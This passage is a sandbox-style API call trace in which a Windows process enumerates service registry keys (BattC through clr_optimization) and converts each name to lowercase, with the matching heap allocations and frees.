WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0253.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0253.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0253.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.736] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.736] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.736] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0253.736] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.736] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0253.736] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.736] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.736] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.736] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0253.736] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.736] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0253.736] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.736] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.736] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.736] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0253.736] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.736] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0253.736] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.736] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.736] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.736] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0253.736] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.737] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0253.737] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.737] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.737] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.737] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0253.737] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.737] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0253.737] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.737] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.737] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.737] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0253.737] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.737] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0253.737] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.737] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.737] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.737] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0253.737] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.737] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0253.737] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.737] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.738] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.738] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0253.738] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.738] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0253.738] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.738] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.738] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.738] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0253.738] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.738] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0253.738] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.738] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.738] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.738] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0253.738] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.738] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0253.738] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.738] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.738] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.738] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0253.738] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.738] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0253.739] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.739] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.739] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.739] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.739] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0253.739] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.739] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0253.739] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.739] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.739] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.739] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.739] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0253.739] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.739] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0253.739] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.739] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.739] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.739] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.739] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0253.739] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.739] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0253.739] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.739] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.739] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.739] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.740] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0253.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0253.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.740] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.740] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.740] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.740] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0253.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0253.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.740] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.740] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.740] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.740] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0253.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0253.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.740] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.740] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.740] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.740] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0253.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.740] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0253.741] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.741] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.741] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.741] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.741] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0253.741] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.741] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1e38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0253.741] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0253.741] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0253.741] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0253.741] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0253.741] RegEnumKeyW 